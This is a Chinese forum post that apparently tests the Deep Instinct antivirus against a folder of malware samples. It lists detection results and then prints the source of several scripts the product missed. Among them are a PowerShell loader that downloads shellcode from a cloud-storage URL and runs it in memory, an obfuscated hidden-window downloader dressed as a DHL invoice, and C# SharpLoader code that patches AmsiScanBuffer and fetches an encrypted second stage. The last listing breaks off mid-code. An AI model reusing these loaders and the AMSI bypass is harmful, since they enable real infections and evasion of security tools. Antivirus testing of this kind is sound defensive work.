本帖最后由 GreatMOLA 于 2024-7-14 22:55 编辑
Deep Instinct
扫描 14x
| Prevented | Malware - Spyware | C:\Users\User1211\Desktop\infected2024071401\Downloads\file.exe | | Prevented | Malware - Trojan | C:\Users\User1211\Desktop\infected2024071401\Downloads\SIP.03746.XSLSX.exe | | Prevented | Malware - Dropper | C:\Users\User1211\Desktop\infected2024071401\Downloads\PDF.exe | | Prevented | Malware - Spyware | C:\Users\User1211\Desktop\infected2024071401\Downloads\arwbjuh.exe | | Prevented | Malware - Spyware | C:\Users\User1211\Desktop\infected2024071401\Downloads\dwvhgtd.exe | | Prevented | Malware - Trojan | C:\Users\User1211\Desktop\infected2024071401\Downloads\PDF.FaturaDetay_202407.exe | | Prevented | Malware - Ransomware | C:\Users\User1211\Desktop\infected2024071401\Downloads\1PDF.FaturaDetay_202407.exe | | Prevented | Malware - Virus | C:\Users\User1211\Desktop\infected2024071401\Downloads\7a0395c75...0cf16f70eedd8e.exe | | Prevented | Dual Use - Investigation Tool | C:\Users\User1211\Desktop\infected2024071401\Downloads\DTLite.exe | | Prevented | Malware - Dropper | C:\Users\User1211\Desktop\infected2024071401\Downloads\setup.exe | | Prevented | Malware - Virus | C:\Users\User1211\Desktop\infected2024071401\Downloads\3e6642f710...eb84bc3265e.exe | | Prevented | Malware - Virus | C:\Users\User1211\Desktop\infected2024071401\Downloads\ccleaner.exe | | Prevented | PUA - Downloader | C:\Users\User1211\Desktop\infected2024071401\Downloads\Built.exe |
执行
相同行为的PE文件 8x:
| Prevented | Behavioral Analysis - Remote Code Injection | C:\Users\User1211\Desktop\infected2024071401\Downloads\d87e2dcd2eb97...ce9f5ddf96d.exe | | Prevented | Behavioral Analysis - Remote Code Injection | C:\Users\User1211\Desktop\infected2024071401\Downloads\a33245a27c02bb...699fe81c48a.exe | | Prevented | Behavioral Analysis - Remote Code Injection | C:\Users\User1211\Desktop\infected2024071401\Downloads\901478668c0...4470f3d4.exe | | Prevented | Behavioral Analysis - Remote Code Injection | C:\Users\User1211\Desktop\infected2024071401\Downloads\938b7e042bd...a826598.exe | | Prevented | Behavioral Analysis - Remote Code Injection | C:\Users\User1211\Desktop\infected2024071401\Downloads\644d928a4...29c0325.exe | | Prevented | Behavioral Analysis - Remote Code Injection | C:\Users\User1211\Desktop\infected2024071401\Downloads\64ec6562b96...c2943017202e.exe | | Prevented | Behavioral Analysis - Remote Code Injection | C:\Users\User1211\Desktop\infected2024071401\Downloads\96d1bc7dec...fa909dd6bb7.exe | | Prevented | Behavioral Analysis - Remote Code Injection | C:\Users\User1211\Desktop\infected2024071401\Downloads\4c40337...d35c354a7792.exe |
Black.bat
- powershell $ProgressPreference = SilentlyContinue
- function LookupFunc {
- Param $moduleName, $functionName
- $assem = [AppDomain]::CurrentDomain.GetAssemblies | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split\\[-1].EqualsSystem.dll}.GetTypeMicrosoft.Win32.UnsafeNativeMethods
- $tmp = $assem.GetMethods | ForEach-Object {If$_.Name -eq GetProcAddress {$_}}
- $handle = $assem.GetMethodGetModuleHandle.Invoke$null, @$moduleName;
- [IntPtr] $result = 0;
- try {
- Write-Host First Invoke - $moduleName $functionName;
- $result = $tmp[0].Invoke$null, @$handle, $functionName;
- }catch {
- Write-Host Second Invoke - $moduleName $functionName;
- $handle = new-object -TypeName System.Runtime.InteropServices.HandleRef -ArgumentList @$null, $handle;
- $result = $tmp[0].Invoke$null, @$handle, $functionName;
- }
- return $result;
- }
- function getDelegateType {
- Param [ParameterPosition = 0, Mandatory = $True] [Type[]] $func,[ParameterPosition = 1] [Type] $delType = [Void]
- $type = [AppDomain]::CurrentDomain.DefineDynamicAssemblyNew-Object System.Reflection.AssemblyNameReflectedDelegate, [System.Reflection.Emit.AssemblyBuilderAccess]::Run.DefineDynamicModuleInMemoryModule, $false.DefineTypeMyDelegateType,Class, Public, Sealed, AnsiClass, AutoClass, [System.MulticastDelegate]
- $type.DefineConstructorRTSpecialName, HideBySig, Public,[System.Reflection.CallingConventions]::Standard, $func.SetImplementationFlagsRuntime, Managed
- $type.DefineMethodInvoke, Public, HideBySig, NewSlot, Virtual, $delType, $func.SetImplementationFlagsRuntime, Managed
- return $type.CreateType
- }
- [Byte[]] $buf = iWr -UsEb https://upnow-prod.ff45e40d1a1c8f7e7de4e976d0c9e555.r2.cloudflarestorage.com/BJkvbFojWPUQauDK61Bs1H7mPvG3/a9cbfe91-5e7f-47a9-a05c-9eaac5bb2e3c?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=cdd12e35bbd220303957dc5603a4cc8e%2F20240714%2Fauto%2Fs3%2Faws4_request&X-Amz-Date=20240714T063356Z&X-Amz-Expires=43200&X-Amz-Signature=254013c4e1bf47e1cd80433c8ed254a6448661c0be1c9d52c343bbe888f87cb6&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3D%22out.bin%22.content
- $lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointerLookupFunc kernel32.dll VirtualAlloc,getDelegateType @[IntPtr], [UInt32], [UInt32], [UInt32][IntPtr].Invoke[IntPtr]::Zero, $buf.length, 0x3000, 0x40
- [System.Runtime.InteropServices.Marshal]::Copy$buf, 0, $lpMem, $buf.length
- $hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointerLookupFunc kernel32.dll CreateThread,getDelegateType @[IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr][IntPtr].Invoke[IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero
- [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointerLookupFunc kernel32.dll WaitForSingleObject,getDelegateType @[IntPtr], [Int32][Int].Invoke$hThread, 0xFFFFFFFF
borlndmm.dll
检测虚拟机，无动作，miss.
DHL_PT563857935689275783656385FV-GDS3535353.bat
- powershell.exe -windowstyle hidden "write 'Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre Beskyttelsens Fremmedsprogene Lyrists7 Afgr Caesaropapacy Overskriftsstrrelser Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre Beskyttelsens Fremmedsprogene Lyrists7 Afgr Caesaropapacy Overskriftsstrrelser';If (${host}.CurrentCulture) {$Afiklingshastighed++;}$Papirindfringen51='SUBsTR';$Papirindfringen51+='ing';Function Oktantals($Maaleresultatet){$Fuldskggets=$Maaleresultatet.Length-$Afiklingshastighed;For( $Hypergamously=4;$Hypergamously -lt $Fuldskggets;$Hypergamously+=5){$Reactualizations+=$Maaleresultatet.$Papirindfringen51.Invoke( $Hypergamously, $Afiklingshastighed);}$Reactualizations;}function Oncogenes($Flirtigig){ & ($eksileredes) ($Flirtigig);}$Klagefrist=Oktantals ' RatMSeptoKrimzBilsi,adilIscelCreaaPort/Ud.e5tr.o.Dagu0 Bje B.rd( EjeWRa,ni A,tnBlyad teloLympwScrusGalv EddNe itTV ks Indu1File0Guri.Sdek0 san;Egyp KatdWC.rniSensn Cas6 em4.ogi;Tylv ForxF mm6Spor4Teq ;Ka c DelfrInfovMo e:Myop1Brys2Kura1 wag.Tils0Sund).ipp redGCance TobcSjusk U,do Fly/Unsc2Prot0Homo1Raak0T.ni0Blus1afgu0.syk1 Um, U,pFGlycihoveruartedanif havoBassxOver/Tilb1Komm2Scam1Din .hyld0Init ';$Morvin=Oktantals 'TeksU ValsBrace Wi rEuro-ArgeAMaalgSkvueDok,n TimtMod. ';$urtesupper=Oktantals 'Cocih undt fjet SerpH rksTalw:Ens./Kurv/Semie UdkcKlbeo StrnVogts ColtGeomrBehoa Hj.m.lndeServdCowhi.oteaEnke.Bar cLeveoEmptmBrim/S.anSKon,aGl,nmDe,asNonzeForsnNo,rd BareCurv. DagjC e[过滤]ebub,oth ';$Dvelreres=Oktantals ' P o>wood ';$eksileredes=Oktantals 'Avi,iglyceAfk,xP,ra ';$Synecologic='Acuity';$Flagknap = Oktantals 'Sekre prvc ,odh IndoChou Sk.t%BlipaBru pEksppNo idD.koaOp.rtRomaa Rim%Reex\del,NSed.eInvedMov p PecrDiskiOutdoFiskrEndoi N,nt,ttaeVestrSicae.ebonFa,ddL gteSu o2U,as0K,es0Dogm.RetySundiiDra.g Dis isot&,ota&Rutt MedbeFlotcProxhDowco.las Indst cr ';Oncogenes (Oktantals 'Abol$Divegkaf lConvo,lgpb.ejmaSalgl Oli:E.seM Cenb NumeShirl KrapBespoAmnilMe,tiDagstKonsu F grGig.eModurM,lj=Af.u(DovecFremmObted.hak Tvan/F.rfcEole o v$.eldF UnmltegmaMut.gParckVetenEgetaItc pCons)Korr ');Oncogenes (Oktantals ',epr$ordsg evelCanioLevub ela,nrilAndr: Balg oinaRekrwtudskPartiUndihRe,soBl,doScatdAort=Brev$ GenuTiturAntetPreseBrans MacuomfapElskpLflaerestrV va.FirlsmisppHelslneuti tyvtScra(Vege$ MjeDRe.uvExtreSc,elbudgrUndeeKapirBe.eePe isF.ed)S,dh ');Oncogenes (Oktantals 'Kono[civiNAffleS.lvtGabi.TenoSTor eRyonrStrevNe kiZy,oc Auge M,sP FakoKariiEkphncr,ttAvenM Me.aAssunTimea impgDetae pndrAfd ]Pist: Sli:st.rSEn oe strcWichuKontr Pr.i Af,tG oby UfoP tilrDatao Hayt Bleo Ba.cTeleo EnelSkri Fo r=Stop Udd[Ba.iN Ddse.rdltOver.Ori,SDiadeHartcbundu Eror FreiHekst ProyRevaPwronrUn,ooTenot GipoBjr cTypeoPhycl RetTBedlyAchap .ide Sma]Repr:prec:AkklTNongl DatsPhen1Koor2Rume ');$urtesupper=$gawkihood[0];$enteroanastomosis= (Oktantals ' .le$hvidg.ykelKurtoTilkbH mpaCoutlDivi:A keMVerioSalvnUnr tSkyggstilo,istl,ammf ,raiBrowebro.rChlo= etNdiste UnswBil,- W iOColobAbonjAutoeMongccli tForu amS porySvedsF jlt lageDownmBrss.UnshNIn.ae I.tt.hal.Di.eWDevaeOxtabFredCPhillConfiForte.illnS.det');$enteroanastomosis+=$Mbelpoliturer[1];Oncogenes ($enteroanastomosis);Oncogenes (Oktantals 'b.gr$ .llMTutooLangnOwkrt D.ng,leao Hagl efifProti BlyeTonsrRemo.K.anHKr leUganaDrifdUdhneFe.drAcolssemi[ Fo.$EfteMB.uso PolralvevFintiSpe,nwife]Dok.=Inn,$I dvKre,nlkl.maAto,gSystekartfXylorBleniSkyfsRoletGreg ');$Makkede=Oktantals 'Unde$ PosMC.aco.xprnF.rstDemog lanoAmt.l,dlafSatsiPo aeHalvrJezr.SpeeDalphokiwaw Afsn.dstlVi ioLav,aWrapdPja.FGaduiS.nelGrebecons(,ell$Dec uFir,rLandtLigueHjalsNonouHavrp B spReane,roarre.s, E,s$RelaAIndifskrig MutrTalb)T.sk ';$Afgr=$Mbelpoliturer[0];Oncogenes (Oktantals 'Belr$Ln,ogOu,plEdapo PerbEx,eaSworl Des:Ud iEKig,gNonplDataaMegatAn,reStacrEskaeGro.sEkam=Flys(BygkT fr.eUnf s,rontgau.-wifoPBankaUplit .akhSelv Ked.$S.riA Bolf .umgDuchrBagg) Nav ');while (!$Eglateres) {Oncogenes (Oktantals 'K,rr$ calg Prol Ubeo An,bTra.aKernlMusl:UranD ConuSorrgOre a oinnBryg=Cen.$ForrtAfbrrUdrauR.vae Ani ') ;Oncogenes $Makkede;Oncogenes (Oktantals 'FormSldertBe.la V,rr eletTeks-BlepSLooklM.sse,entePr.npampo Olin4Macr ');Oncogenes (Oktantals 'Pidd$MissgScholFo,soAf,ib HjeaFreklCros:Vrt E A.dg.upelvendaLycot Re,ecracrDeave Subs nco=Bill(bossTAfveeUp rs lintSubs-ParaP RisaForet,andhMo.g Aarb$DecuAWoodfPatrgOculrInds) Pri ') ;Oncogenes (Oktantals 'G ur$ lgtg.efelShoooCivibBreaa UnclAppa:FaenE TaaxYethpPolylfareoLongdS.afeE,parSa.c=Scre$C mmg NemlMedioWhimb edua.ensl.nas: LocrAspeeHe,tnCanotT.skvSkibiU,kisWi,etGod,ehalonBe,o+,axc+Fini%Circ$RickgDermaMindwUndekStani C ih.renoAs.mo.ecudOpfy.SmutcflyvoRussu,ilhn PantLega ') ;$urtesupper=$gawkihood[$Exploder];}$Selvflelsers=333309;$Topfigur=29064;Oncogenes (Oktantals ' Op,$C,rrgHapplV ntodi.ibBrodaKni limpo:H,ejTRambrWigsvPonoa UnprPolee H tnKa o Skr=Lgne MgrGAu,ee Ra t Int-,edaCGhosoStavnTurbtMi pe spin nddtMusk Mind$ ,trAH.rsfD.srgMe,drRuts ');Oncogenes (Oktantals ' Dok$InexgDigtlU,weo flobeli,aB,dil,iot: Gl,PAn yaskoldSkj.d thae Forh Kona,lejtDihytPl deLattss,rkkItalyAkt eGentrBikonTlpeePlugsTruc h.ne=Codl Kula[HalvSS aayB.evsStagt ande orkmdimi. OmdCAdreoS,ren Es v.efueOverrReolt Imp]Mast: Veg: bibFsemir UnpoD,gtmTro,BStatasparsP.mpeAlmo6Hydr4gasaSSpant Me.rSlriiAsymn S ug am(Samn$PjkkTS uir InfvGge,aFremrHumeeUnfenGa.g)Co.q ');Oncogenes (Oktantals 'Stet$SmiggOprel AneoAc,obB ysaP aslSt.m:ForvUVr ebRep,e Pt.hUni,j Di.lPo.epEp.dsCapioVarmmReplmRevieBorts Pir .aca=Di.e Hem[Ca.bS StoyBuffsAndet Hane nkm.hae.kanaTConne uudxBnkptYeh..sp tERechn urgc LinoTu.bd Su icompn Alcg Uo.]Erad: ini:LandAmytiSAsseC sp.ITalbIGrip.JuleG D veAlmet,istSUdflt Storbestirssnn Unfg,erc( Na.$SighPTkkeaStridDesod BoheRobihOvera S ot,asttTurneBalas MankTvisy accePsycrStranC,ple Yd,s Sp.) Glu ');Oncogenes (Oktantals 'Unf.$ rodgMar,lSlagoCarpb M.naPsyklCyli:DiscBAlg iSlanoMen lCounoStang Trie MerrTaxanMelleS was.ver1D,al9U sa6Sigi=Delp$F lmUF,rsbMed eSa,ihGarnj YellsrtrpKolos resoBattm BejmFerreAspisC.nc.Serjs JewuThrob S rsLrketTrafrRejniSergnSt dgAnti( Jai$Jer,S ProeGroclCi.ivI urf AerlUdvaeB,uglchi,sArmhe.onnrAf is nde,,rko$InddT ecoSengpHimmfKlkkiIm.rg LytuTensrHaan)Pink ');Oncogenes $Biologernes196;"
helper.bat
- powershell function Invoke-SharpLoader
- {
- Param
-
- [ParameterMandatory=$true]
- [string]
- $location,
- [ParameterMandatory=$true]
- [string]
- $password,
- [string]
- $argument,
- [string]
- $argument2,
- [string]
- $argument3,
- [Switch]
- $noArgs
-
- $sharploader = @
- using System;
- using System.Net;
- using System.Text;
- using System.IO;
- using System.Linq;
- using System.Reflection;
- using System.Security.Cryptography;
- using System.IO.Compression;
- using System.Runtime.InteropServices;
- namespace SharpLoader
- {
- public class gofor4msi
- {
- static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
- static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
- public static void now
- {
- if is64Bit
- goforx64;
- else
- goforx86;
- }
- private static void goforbyte[] patch
- {
- try
- {
- var a = am;
- var si = si;
- var dll = .dll;
- var lib = Win32.LoadLibraryasidll;
- var Am = Am;
- var siScan = siScan;
- var Buffer = Buffer;
- var addr = Win32.GetProcAddresslib, AmsiScanBuffer;
- uint oldProtect;
- Win32.VirtualProtectaddr, UIntPtrpatch.Length, 0x40, out oldProtect;
- Marshal.Copypatch, 0, addr, patch.Length;
- }
- catch Exception e
- {
- Console.WriteLine [x] {0}, e.Message;
- Console.WriteLine [x] {0}, e.InnerException;
- }
- }
- private static bool is64Bit
- {
- bool is64Bit = true;
- if IntPtr.Size == 4
- is64Bit = false;
- return is64Bit;
- }
- class Win32
- {
- [DllImportkernel32]
- public static extern IntPtr GetProcAddressIntPtr hModule, string procName;
- [DllImportkernel32]
- public static extern IntPtr LoadLibrarystring name;
- [DllImportkernel32]
- public static extern bool VirtualProtectIntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect;
- }
- }
- public class Program
- {
- public static void PrintBanner
- {
-
- }
- public static string Get_Stage2string url
- {
- try
- {
- HttpWebRequest myWebRequest = HttpWebRequestWebRequest.Createurl;
- IWebProxy webProxy = myWebRequest.Proxy;
- if webProxy != null
- {
- webProxy.Credentials = CredentialCache.DefaultNetworkCredentials;
- myWebRequest.Proxy = webProxy;
- }
- HttpWebResponse response = HttpWebResponsemyWebRequest.GetResponse;
- Stream data = response.GetResponseStream;
- string html = String.Empty;
- using StreamReader sr = new StreamReaderdata
- {
- html = sr.ReadToEnd;
- }
- return html;
- }
- catch Exception
- {
- Console.ForegroundColor = ConsoleColor.Red;
- Console.WriteLine;
- Console.WriteLine\n[!] Whoops, there was a issue with the url...;
- Console.ResetColor;
- return null;
- }
- }
- public static string Get_Stage2diskstring filepath
- {
- string folderPathToBinary = filepath;
- string base64 = System.IO.File.ReadAllTextfolderPathToBinary;
- return base64;
- }
- public static byte[] AES_Decryptbyte[] bytesToBeDecrypted, byte[] passwordBytes
- {
- byte[] decryptedBytes = null;
- byte[] saltBytes = new byte[] { 1, 2
|
楼主: wwwab
[复制链接]
发表于 2024-7-14 21:22:56
楼主
